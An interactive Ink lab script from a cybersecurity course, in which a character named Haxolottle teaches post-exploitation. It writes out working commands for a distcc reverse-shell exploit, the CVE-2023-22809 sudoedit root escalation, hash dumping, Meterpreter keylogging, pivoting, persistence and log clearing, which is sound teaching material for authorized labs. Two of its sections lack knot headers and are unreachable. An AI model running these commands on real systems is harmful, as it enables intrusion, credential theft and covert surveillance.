// Post-exploitation Lab Sheet
// Based on HacktivityLabSheets: introducing_attacks/7_post-exploitation.md
// Author: Z. Cliffe Schreuders, Anatoliy Gorbenko, Thalita Vergilio
// License: CC BY-SA 4.0

// Global persistent state
VAR haxolottle_rapport = 0
VAR post_exploit_mastery = 0

// External variables
EXTERNAL player_name

=== start ===
Haxolottle: Welcome, Agent {player_name}. I'm your instructor for Post-Exploitation Techniques.

~ haxolottle_rapport = 0
~ post_exploit_mastery = 0

Haxolottle: Post-exploitation is what happens after you gain initial access. It's about leveraging that foothold to gather information, escalate privileges, and achieve your objectives.

Haxolottle: Once an attacker has compromised a system, they can misuse the privileges they've appropriated to take further actions - or go on to compromise other connected systems.

Haxolottle: This lab completes the attack lifecycle - from initial exploitation through privilege escalation, information gathering, and pivoting to other systems.

Haxolottle: Remember: these are powerful techniques for authorized penetration testing and defensive security only.

~ post_exploit_mastery += 10

-> post_exploit_hub

=== post_exploit_hub ===
Haxolottle: What aspect of post-exploitation would you like to explore?

+ [What is post-exploitation?]
    -> post_exploit_intro
+ [Understanding shell access]
    -> shell_access
+ [Assessing your level of access]
    -> assessing_access
+ [Post-exploitation information gathering]
    -> info_gathering
+ [Privilege escalation techniques]
    -> privilege_escalation
+ [Using the sudo vulnerability (CVE-2023-22809)]
    -> sudo_vulnerability
+ [Metasploit post-exploitation modules]
    -> msf_post_modules
+ [Introduction to Meterpreter]
    -> meterpreter_intro
+ [Meterpreter spyware features]
    -> meterpreter_spyware
+ [Pivoting and port forwarding]
    -> pivoting
+ [Maintaining access and covering tracks]
    -> persistence_evasion
+ [Show me the commands reference]
    -> commands_reference
+ [Practical challenge tips]
+ [I'm ready for the lab exercises]
+ [That's all for now]
    #exit_conversation
    -> END

=== post_exploit_intro ===
Haxolottle: Post-exploitation is everything that happens after you successfully compromise a system.

~ haxolottle_rapport += 5

Haxolottle: The initial exploit gives you a foothold - usually limited access as whatever user account the vulnerable software was running as.

Haxolottle: From there, you need to:
understand what level of access you have, gather information about the system, escalate privileges if possible, collect sensitive data, maintain access, and potentially pivot to other systems.

+ [Why not just stop after getting shell access?]
    Haxolottle: Initial access is often limited. You might be running as a low-privilege user, not an administrator.

    Haxolottle: You need to understand the system, find sensitive data, escalate to higher privileges, and ensure you can maintain access.

    Haxolottle: In a real penetration test, you're demonstrating impact - showing what an attacker could actually DO with that access.

    Haxolottle: That means accessing sensitive files, dumping credentials, and potentially moving laterally to other systems.

    ~ haxolottle_rapport += 5

+ [What determines what you can do post-exploitation?]
    Haxolottle: Several factors determine your capabilities:

    Haxolottle: First, the type of payload you used. A simple shell gives you command execution. Meterpreter gives you advanced features.

    Haxolottle: Second, the security context - what user account is the vulnerable software running as?

    Haxolottle: Third, the access controls in place. Are there additional restrictions beyond standard user permissions?

    Haxolottle: Finally, your skill at the command line and understanding of the operating system.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== shell_access ===
Haxolottle: Shell access means you have access to a command line interface on the target system.

~ haxolottle_rapport += 5

Haxolottle: On Windows, this is typically a Command Prompt or PowerShell. On Unix/Linux systems, it's usually a Bash shell.

Haxolottle: Sometimes you'll see a familiar prompt. Other times you won't see any prompt at all, but you can still type commands and see output.

+ [What can I do with shell access?]
    Haxolottle: With shell access, you can run almost any command-line program available on the system.

    Haxolottle: You can list files, read documents, run scripts, check system information, create new files, and much more.

    Haxolottle: However, you're limited by the permissions of whatever user account you're running as.

    Haxolottle: If you're a normal user, you can't access administrator-only files or install system-wide software.

    ~ haxolottle_rapport += 5

+ [What commands should I avoid?]
    Haxolottle: Avoid interactive programs that expect keyboard input and draw to the screen.

    Haxolottle: For example, on Linux use "cat" instead of "less", because less expects you to scroll and press 'q' to quit.

    Haxolottle: Avoid programs that run continuously until stopped, like "ping" without a count limit.

    Haxolottle: Also be careful with Ctrl-C - it will likely kill your shell connection rather than just the current command.

    ~ haxolottle_rapport += 5

+ [What's the difference between shells on Windows and Linux?]
    Haxolottle: Windows shells typically use backslashes in paths (C:\\Users\\), while Linux uses forward slashes (/home/).

    Haxolottle: Common Windows commands: dir, type, net user, whoami, ipconfig

    Haxolottle: Common Linux commands: ls, cat, whoami, id, ifconfig (or ip a)

    Haxolottle: The privilege model is different too - Windows has Administrator/System, Linux has root (UID 0).

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== assessing_access ===
Haxolottle: The first question after exploitation is: what level of access do I have?

~ haxolottle_rapport += 5

Haxolottle: You need to determine what user account you're running as and what privileges that account has.

Haxolottle: On Windows, you might have Administrator, System, or a regular user account. On Linux, you want to know if you're root (UID 0) or a normal user.

+ [How do I check my access level on Linux?]
    Haxolottle: Use these commands to assess your Linux access:

    Haxolottle: whoami - Shows your username

    Haxolottle: id - Shows your user ID (UID), group ID (GID), and groups

    Haxolottle: id -u - Shows just the UID. A UID of 0 means you're root!

    Haxolottle: Any other UID means you're a normal user with standard access controls applying.

    ~ haxolottle_rapport += 5

+ [How do I check my access level on Windows?]
    Haxolottle: On Windows, you can use:

    Haxolottle: whoami - Shows your username and domain

    Haxolottle: whoami /priv - Shows your privileges

    Haxolottle: net user USERNAME - Shows details about a user account

    Haxolottle: If you have Meterpreter: getuid and getprivs give detailed privilege information.

    ~ haxolottle_rapport += 5

+ [What if I don't have root or Administrator access?]
    Haxolottle: That's very common! Most services run as unprivileged users for security reasons.

    Haxolottle: You can still access files that user can read, which might include sensitive data.

    Haxolottle: You can gather system information to look for privilege escalation opportunities.

    Haxolottle: On Linux, try accessing /etc/shadow - if you can't, that confirms you're not root.

    Haxolottle: Then you'll want to look for privilege escalation vulnerabilities.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== info_gathering ===
Haxolottle: Information gathering continues even after exploitation. Understanding the system helps you plan your next moves.

~ haxolottle_rapport += 5

Haxolottle: You want to learn about the operating system, installed software, network configuration, running processes, and other users.

+ [What system information should I gather on Linux?]
    Haxolottle: Key commands for Linux information gathering:

    Haxolottle: uname -a (kernel version and architecture)

    Haxolottle: cat /proc/cpuinfo (CPU details)

    Haxolottle: free -h (memory usage)

    Haxolottle: df -h (disk usage and partitions)

    Haxolottle: env (environment variables)

    Haxolottle: cat /etc/passwd (list of user accounts)

    Haxolottle: This information helps you understand the target and identify potential attack vectors.

    ~ haxolottle_rapport += 5

+ [Why check the sudo version?]
    Haxolottle: The sudo command allows users to run commands with elevated privileges.

    Haxolottle: Check the version with: sudo --version

    Haxolottle: Certain versions of sudo have critical security vulnerabilities that allow privilege escalation!

    Haxolottle: For example, CVE-2023-22809 affects sudo versions 1.8.0 through 1.9.12p1.

    Haxolottle: Finding a vulnerable sudo version is a goldmine for privilege escalation.

    ~ haxolottle_rapport += 5

+ [What network information is useful?]
    Haxolottle: Network information reveals what other systems you might be able to reach:

    Haxolottle: ifconfig or ip a (network interfaces and IP addresses)

    Haxolottle: netstat -an or ss -an (active connections and listening ports)

    Haxolottle: route or ip route (routing table)

    Haxolottle: cat /etc/resolv.conf (DNS configuration)

    Haxolottle: This helps you identify other systems to pivot to or internal networks to explore.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== privilege_escalation ===
Haxolottle: Privilege escalation means gaining additional privileges you weren't intentionally granted.

~ haxolottle_rapport += 5

Haxolottle: Vertical privilege escalation is going from normal user to administrator/root. Horizontal privilege escalation is accessing resources of another user at the same privilege level.

Haxolottle: Privilege escalation exploits vulnerabilities in the kernel, system software, or misconfigurations.

+ [What are common privilege escalation vectors?]
    Haxolottle: Common privilege escalation opportunities include:

    Haxolottle: Vulnerable kernel versions with known local exploits

    Haxolottle: Vulnerable system software like sudo, polkit, or services

    Haxolottle: Misconfigured SUID binaries on Linux

    Haxolottle: Weak file permissions on sensitive files

    Haxolottle: Scheduled tasks running as administrators

    Haxolottle: Credentials stored in plaintext or easily crackable formats

    ~ haxolottle_rapport += 5

+ [How do I find privilege escalation opportunities?]
    Haxolottle: Systematic enumeration is key:

    Haxolottle: Check kernel and software versions against CVE databases

    Haxolottle: Look for SUID binaries: find / -perm -4000 2>/dev/null

    Haxolottle: Check sudo permissions: sudo -l

    Haxolottle: Look for world-writable files in sensitive directories

    Haxolottle: Check for credentials in config files, bash history, and environment variables

    ~ haxolottle_rapport += 5

+ [Tell me about the sudo vulnerability]
    -> sudo_vulnerability

- -> post_exploit_hub

=== sudo_vulnerability ===
Haxolottle: CVE-2023-22809 is a critical sudo vulnerability affecting versions 1.8.0 through 1.9.12p1.

~ haxolottle_rapport += 5

Haxolottle: The vulnerability is in sudoedit, which allows editing files with elevated privileges.

Haxolottle: By manipulating environment variables, you can trick sudoedit into opening files you shouldn't have access to.

+ [How does this vulnerability work?]
    Haxolottle: The vulnerability exploits how sudoedit processes the EDITOR environment variable.

    Haxolottle: Normally, sudoedit restricts which files you can edit. But a coding mistake means you can use "--" to specify additional files.

    Haxolottle: For example: EDITOR='cat -- /etc/shadow' sudoedit /etc/hosts

    Haxolottle: This tells sudoedit to use "cat" as the editor and tricks it into opening /etc/shadow with root privileges!

    Haxolottle: The /etc/hosts file is just a decoy to satisfy sudoedit's normal operation.

    ~ haxolottle_rapport += 5

+ [How can I use this to escalate privileges?]
    Haxolottle: First, you can read sensitive files: EDITOR='cat -- /etc/shadow' sudoedit /etc/hosts

    Haxolottle: This gives you password hashes which you might crack offline.

    Haxolottle: More powerfully, you can edit the sudoers file: EDITOR='vim -- /etc/sudoers' sudoedit /etc/hosts

    Haxolottle: Add a line like: distccd ALL=(ALL) NOPASSWD:ALL

    Haxolottle: This allows your user to run any command as root without a password: sudo -i

    Haxolottle: Now you're root!

    ~ haxolottle_rapport += 5

+ [What's tricky about exploiting this?]
    Haxolottle: The challenge is that your simple shell doesn't support full interactive programs well.

    Haxolottle: When you use vim to edit /etc/sudoers, the display will be distorted and arrow keys won't work properly.

    Haxolottle: You need to carefully use vim commands without visual feedback:
"G" then "o" to go to bottom and insert new line, type your new line, "Esc" then ":x" to save.

    Haxolottle: Be very careful - if you corrupt /etc/sudoers, you'll break the VM!

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== msf_post_modules ===
Haxolottle: Metasploit has numerous post-exploitation modules for automated information gathering and attacks.

~ haxolottle_rapport += 5

Haxolottle: These modules run against established sessions to collect data, escalate privileges, or set up persistence.

Haxolottle: They're categorized by operating system and function: gather, escalate, manage, recon, and more.

+ [How do I use post-exploitation modules?]
    Haxolottle: First, you need an active session. Background it with Ctrl-Z.

    Haxolottle: Check your session ID: sessions

    Haxolottle: Select a post module: use post/linux/gather/checkvm

    Haxolottle: Set the session: setg SESSION 1 (or your session ID)

    Haxolottle: Using "setg" sets it globally, so you don't have to set it for each module.

    Haxolottle: Run the module: exploit (or run)

    ~ haxolottle_rapport += 5

+ [What useful post-exploitation modules exist?]
    Haxolottle: For Linux targets, valuable modules include:

    Haxolottle: post/linux/gather/checkvm - Detect if running in a VM

    Haxolottle: post/linux/gather/enum_configs - Download config files

    Haxolottle: post/linux/gather/enum_network - Network configuration

    Haxolottle: post/linux/gather/enum_system - System and software information

    Haxolottle: post/linux/gather/enum_users_history - Command history and logs

    Haxolottle: post/linux/gather/hashdump - Dump password hashes

    ~ haxolottle_rapport += 5

+ [Where does collected information get stored?]
    Haxolottle: Post-exploitation modules store collected data as "loot" in Metasploit's database.

    Haxolottle: The module output tells you where files are saved, usually in ~/.msf4/loot/

    Haxolottle: You can view loot with: loot

    Haxolottle: Files are timestamped and categorized, making it easy to review later for report writing.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== meterpreter_intro ===
Haxolottle: Meterpreter is an advanced payload originally developed by Matt Miller (Skape).

~ haxolottle_rapport += 5

Haxolottle: Unlike a simple shell, Meterpreter provides a sophisticated remote administration framework with many built-in features.

Haxolottle: It's dynamically extensible - features can be loaded as needed. By default, it encrypts all communications.

+ [What makes Meterpreter special?]
    Haxolottle: Meterpreter has numerous advantages over basic shells:

    Haxolottle: Runs entirely in memory - doesn't write to disk, making forensics harder

    Haxolottle: Encrypted communications by default

    Haxolottle: Rich command set for file browsing, process manipulation, network operations

    Haxolottle: Can migrate between processes to hide or achieve persistence

    Haxolottle: Extensible with post-exploitation modules

    Haxolottle: Includes "spyware" features like keylogging and screen capture

    ~ haxolottle_rapport += 5

+ [How do I use Meterpreter commands?]
    Haxolottle: Start by viewing available commands: help

    Haxolottle: Get current privileges: getuid and getprivs

    Haxolottle: Browse files: ls c:/ (Windows) or ls / (Linux)

    Haxolottle: Download files: download /path/to/file

    Haxolottle: Upload files: upload /local/file /remote/file

    Haxolottle: View processes: ps

    Haxolottle: Migrate to another process: migrate PID

    Haxolottle: Drop to a system shell: shell (Ctrl-D to return to Meterpreter)

    ~ haxolottle_rapport += 5

+ [How does Meterpreter avoid detection?]
    Haxolottle: Meterpreter is designed for stealth:

    Haxolottle: It stays in memory and doesn't write files to disk (fileless malware)

    Haxolottle: By default it masquerades as "svchost.exe" on Windows, a common legitimate process

    Haxolottle: It can migrate into other running processes, making it hard to identify

    Haxolottle: Communications are encrypted, making network monitoring less effective

    Haxolottle: However, modern endpoint detection systems can still identify Meterpreter through behavioral analysis.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== meterpreter_spyware ===
Haxolottle: Meterpreter includes features typically associated with spyware - monitoring user activity without their knowledge.

~ haxolottle_rapport += 5

Haxolottle: These features can capture keystrokes, screenshots, and even webcam feeds.

Haxolottle: While concerning for privacy, they're useful for security testing to demonstrate the risk of compromise.

+ [How does keylogging work in Meterpreter?]
    Haxolottle: Meterpreter can capture all keystrokes on the target system.

    Haxolottle: In Armitage: Right-click target → Meterpreter → Explore → Log Keystrokes

    Haxolottle: Set CAPTURE_TYPE to "winlogon" to capture login attempts

    Haxolottle: Via command line: keyscan_start (then keyscan_dump to view results)

    Haxolottle: This captures everything typed - passwords, emails, documents, searches.

    ~ haxolottle_rapport += 5

+ [How do I capture screenshots?]
    Haxolottle: Screenshots show what the user is viewing:

    Haxolottle: screenshot - Captures current screen

    Haxolottle: The image is downloaded to your Kali system and automatically opened

    Haxolottle: This can reveal sensitive documents, credentials, or user behavior

    Haxolottle: In Armitage, there are menu options for screen capture in the Meterpreter menu.

    ~ haxolottle_rapport += 5

+ [Can I get full graphical control?]
    Haxolottle: Yes! You can use VNC for full graphical remote control:

    Haxolottle: In Armitage: Right-click target → Meterpreter → Interact → Desktop (VNC)

    Haxolottle: Armitage starts a VNC server on the target and tells you the port

    Haxolottle: Connect with: vncviewer 127.0.0.1:PORT

    Haxolottle: You'll see and control the target's desktop just like sitting at their keyboard!

    Haxolottle: This is powerful but obvious to any user who's watching their screen.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== pivoting ===
Haxolottle: Pivoting means using a compromised system as a stepping stone to attack other systems.

~ haxolottle_rapport += 5

Haxolottle: Often attackers can't directly reach internal systems - firewalls, NAT, and network segmentation block direct access.

Haxolottle: But if you compromise a system that CAN reach those internal systems, you can route your attacks through it.

+ [Why would I need to pivot?]
    Haxolottle: Several scenarios require pivoting:

    Haxolottle: Attacking internal systems from a compromised public-facing server

    Haxolottle: Accessing networks behind firewalls or NAT

    Haxolottle: Moving laterally through a corporate network

    Haxolottle: Hiding your true origin by routing through multiple compromised hosts

    Haxolottle: In real penetration tests, you often start from a DMZ server and need to pivot to reach critical internal systems.

    ~ haxolottle_rapport += 5

+ [How does Meterpreter pivoting work?]
    Haxolottle: Meterpreter can set up routing so all your attacks go through a compromised host.

    Haxolottle: In Armitage: Right-click compromised host → Meterpreter → Pivoting → Setup → Add Pivot

    Haxolottle: Via command line, you use the "route" command in msfconsole

    Haxolottle: Once configured, any Metasploit attacks you launch will be routed through that system

    Haxolottle: The pivoted attacks will appear to come from the compromised system, not your Kali VM.

    ~ haxolottle_rapport += 5

+ [What's port forwarding?]
    Haxolottle: Port forwarding is a simpler form of pivoting.

    Haxolottle: You instruct a compromised system to listen on a port and forward connections to a different host and port.

    Haxolottle: For example, forward local port 8080 to an internal web server on 10.0.0.5:80

    Haxolottle: This makes the internal service accessible through the compromised system.

    Haxolottle: Meterpreter's portfwd command handles this: portfwd add -l 8080 -p 80 -r 10.0.0.5

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== persistence_evasion ===
Haxolottle: Maintaining access and covering tracks are advanced post-exploitation techniques.

~ haxolottle_rapport += 5

Haxolottle: Persistence means ensuring you can regain access even if the system reboots or the service is restarted.

Haxolottle: Covering tracks means removing evidence of the attack from logs and the filesystem.

+ [How do attackers maintain access?]
    Haxolottle: Common persistence mechanisms include:

    Haxolottle: Creating new user accounts with administrative privileges

    Haxolottle: Installing backdoors that run on boot (services, scheduled tasks, startup scripts)

    Haxolottle: Modifying SSH authorized_keys to allow your key

    Haxolottle: Installing rootkits that hide processes and files

    Haxolottle: Meterpreter has post-exploitation modules specifically for persistence.

    ~ haxolottle_rapport += 5

+ [How do you cover your tracks?]
    Haxolottle: Covering tracks involves removing or modifying evidence:

    Haxolottle: Clearing log files (on Linux: /var/log/auth.log, /var/log/syslog, etc.)

    Haxolottle: Clearing command history (bash history, PowerShell history)

    Haxolottle: Removing uploaded tools and malware

    Haxolottle: Modifying file timestamps to match surrounding files

    Haxolottle: However, sophisticated forensics can often detect these modifications.

    ~ haxolottle_rapport += 5

+ [Does Meterpreter have anti-forensics features?]
    Haxolottle: Yes, Meterpreter is designed with anti-forensics in mind:

    Haxolottle: It runs in memory without writing to disk (fileless)

    Haxolottle: It can migrate between processes, making it hard to find

    Haxolottle: Communications are encrypted

    Haxolottle: There are modules to clear event logs: clearev

    Haxolottle: However, modern endpoint detection and response (EDR) tools can detect Meterpreter through behavioral analysis.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

=== commands_reference ===
Haxolottle: Let me provide a comprehensive post-exploitation commands reference.

~ haxolottle_rapport += 5

Haxolottle: **Initial Exploitation (Distcc example):**

Haxolottle: nmap -p 1-65535 TARGET (scan all ports)

Haxolottle: msfconsole

Haxolottle: search distccd

Haxolottle: use exploit/unix/misc/distcc_exec

Haxolottle: set RHOST TARGET_IP

Haxolottle: set PAYLOAD cmd/unix/reverse

Haxolottle: set LHOST YOUR_IP

Haxolottle: exploit

+ [Show me access assessment commands]
    Haxolottle: **Assessing Access Level:**

    Haxolottle: whoami (show username)

    Haxolottle: id (show UID, GID, groups)

    Haxolottle: id -u (show just UID - 0 means root)

    Haxolottle: cat /etc/shadow (try to read - if fails, not root)

    ~ haxolottle_rapport += 3

+ [Show me information gathering commands]
    Haxolottle: **Information Gathering (Linux):**

    Haxolottle: env (environment variables)

    Haxolottle: uname -a (kernel version)

    Haxolottle: cat /proc/cpuinfo (CPU info)

    Haxolottle: free -h (memory)

    Haxolottle: df -h (disk space)

    Haxolottle: cat /etc/passwd (user accounts)

    Haxolottle: sudo --version (check for vulnerable sudo)

    Haxolottle: ifconfig or ip a (network interfaces)

    ~ haxolottle_rapport += 3

+ [Show me privilege escalation commands]
    Haxolottle: **Privilege Escalation (CVE-2023-22809):**

    Haxolottle: EDITOR='cat -- /etc/shadow' sudoedit /etc/hosts

    Haxolottle: (View password hashes)

    Haxolottle: EDITOR='vim -- /etc/sudoers' sudoedit /etc/hosts

    Haxolottle: (Edit sudoers file - be very careful!)

    Haxolottle: In vim: Press Enter, type "Go", press Enter, type "distccd ALL=(ALL) NOPASSWD:ALL"

    Haxolottle: Press Esc, type ":x", press Enter, press Esc, type ":q!", press Enter

    Haxolottle: sudo -i (escalate to root)

    ~ haxolottle_rapport += 3

+ [Show me Linux admin commands]
    Haxolottle: **Linux Post-Exploitation:**

    Haxolottle: useradd USERNAME (create user)

    Haxolottle: passwd USERNAME (set password)

    Haxolottle: cat /etc/passwd (list users)

    Haxolottle: sh (spawn command interpreter)

    ~ haxolottle_rapport += 3

+ [Show me Metasploit post modules]
    Haxolottle: **Metasploit Post-Exploitation:**

    Haxolottle: Ctrl-Z (background session)

    Haxolottle: sessions (list sessions)

    Haxolottle: use post/linux/gather/checkvm

    Haxolottle: setg SESSION 1

    Haxolottle: exploit

    Haxolottle: **Useful Post Modules:**

    Haxolottle: post/linux/gather/enum_configs

    Haxolottle: post/linux/gather/enum_network

    Haxolottle: post/linux/gather/enum_system

    Haxolottle: post/linux/gather/enum_users_history

    Haxolottle: post/linux/gather/hashdump

    ~ haxolottle_rapport += 3

+ [Show me Meterpreter commands]
    Haxolottle: **Meterpreter Commands:**

    Haxolottle: help (list all commands)

    Haxolottle: getuid (current user)

    Haxolottle: getprivs (privileges)

    Haxolottle: ls c:/ (browse files)

    Haxolottle: download FILE (download file)

    Haxolottle: upload LOCAL REMOTE (upload file)

    Haxolottle: ps (list processes)

    Haxolottle: migrate PID (migrate to process)

    Haxolottle: shell (drop to system shell, Ctrl-D to return)

    Haxolottle: run post/windows/gather/hashdump (dump hashes)

    Haxolottle: screenshot (capture screen)

    Haxolottle: keyscan_start / keyscan_dump (keylogging)

    ~ haxolottle_rapport += 3

+ [Show me Armitage commands]
    Haxolottle: **Armitage Setup:**

    Haxolottle: sudo msfdb reinit

    Haxolottle: sudo armitage &

    Haxolottle: **Armitage Workflow:**

    Haxolottle: Hosts → Add Host → enter IP

    Haxolottle: Right-click host → Scan

    Haxolottle: Drag exploit onto target icon → Launch

    Haxolottle: Right-click compromised host → Meterpreter → Interact

    Haxolottle: **Pivoting:**

    Haxolottle: Right-click → Meterpreter → Pivoting → Setup → Add Pivot

    ~ haxolottle_rapport += 3

- -> post_exploit_hub

Haxolottle: Let me give you practical tips for the post-exploitation challenges.

~ haxolottle_rapport += 5

Haxolottle: **Exploiting Distcc:**

Haxolottle: Scan all ports to find distcc: nmap -p- TARGET

Haxolottle: Use exploit/unix/misc/distcc_exec with cmd/unix/reverse payload

Haxolottle: You'll get a shell as the distccd user, not root.

+ [Tips for privilege escalation?]
    Haxolottle: Check the sudo version immediately: sudo --version

    Haxolottle: If it's vulnerable (1.8.0-1.9.12p1), use the CVE-2023-22809 exploit.

    Haxolottle: When editing /etc/sudoers with vim, follow the commands EXACTLY - one wrong keystroke can break the VM.

    Haxolottle: After editing sudoers, run: sudo -i to become root.

    Haxolottle: Verify with: id -u (should show 0)

    ~ haxolottle_rapport += 5

+ [Tips for using post-exploitation modules?]
    Haxolottle: Always background your session first with Ctrl-Z

    Haxolottle: Use "setg SESSION ID" to set the session globally for all modules.

    Haxolottle: Run multiple enum modules to gather comprehensive information.

    Haxolottle: The output tells you where loot is stored - check those files!

    Haxolottle: Not all modules work perfectly - if one fails, move on to others.

    ~ haxolottle_rapport += 5

+ [Tips for using Meterpreter and Armitage?]
    Haxolottle: Exploit the Windows server with easyftp to get a Meterpreter session.

    Haxolottle: Use getuid and getprivs to understand your privileges immediately.

    Haxolottle: Browse to user desktops to find flags: ls C:\\Users\\

    Haxolottle: Try both Meterpreter commands and Armitage's GUI features.

    Haxolottle: If Meterpreter becomes unresponsive, restart the Windows VM and re-exploit.

    ~ haxolottle_rapport += 5

+ [Tips for pivoting?]
    Haxolottle: Set up a pivot through the Windows system to attack Linux.

    Haxolottle: In Armitage: Right-click Windows → Meterpreter → Pivoting → Setup → Add Pivot

    Haxolottle: Add the Linux target: Hosts → Add Hosts → enter Linux IP

    Haxolottle: Scan and exploit through the pivot - it will be slower but will work.

    Haxolottle: The Armitage interface shows the routing path visually.

    ~ haxolottle_rapport += 5

+ [Where are the flags?]
    Haxolottle: Linux flags are in user home directories under /home/

    Haxolottle: Use find /home -name "*flag*" to search for them.

    Haxolottle: Windows flags are on user Desktops: C:\\Users\\USERNAME\\Desktop\\

    Haxolottle: One Linux challenge involves cracking a protected.zip file.

    Haxolottle: You'll need to dump password hashes and crack them to get the zip password.

    ~ haxolottle_rapport += 5

- -> post_exploit_hub

Haxolottle: Excellent! You're ready for advanced post-exploitation techniques.

~ haxolottle_rapport += 10
~ post_exploit_mastery += 10

Haxolottle: This lab completes your understanding of the full attack lifecycle - from initial reconnaissance through exploitation to post-exploitation.

Haxolottle: You'll exploit systems, escalate privileges, gather sensitive data, and pivot through networks.

Haxolottle: Remember: these techniques are powerful and potentially destructive. Use them only for authorized penetration testing and defensive security.

+ [Any final advice?]
    Haxolottle: Work methodically. After each exploitation, assess your access, gather information, then escalate privileges.

    Haxolottle: Take careful notes of what you find - credentials, software versions, vulnerable services.

    Haxolottle: When using the sudo privilege escalation, follow the vim commands EXACTLY. Practice on a non-critical system first if you're nervous.

    Haxolottle: Explore both Meterpreter commands and Armitage's interface to see which you prefer.

    Haxolottle: Don't get frustrated if something doesn't work - exploit reliability varies. Try restarting VMs and trying again.

    Haxolottle: Most importantly: understand WHY each technique works, not just HOW to execute it.

    Haxolottle: Good luck, Agent {player_name}. This is where you demonstrate the full impact of system compromise.

    ~ haxolottle_rapport += 10

- -> post_exploit_hub

-> END
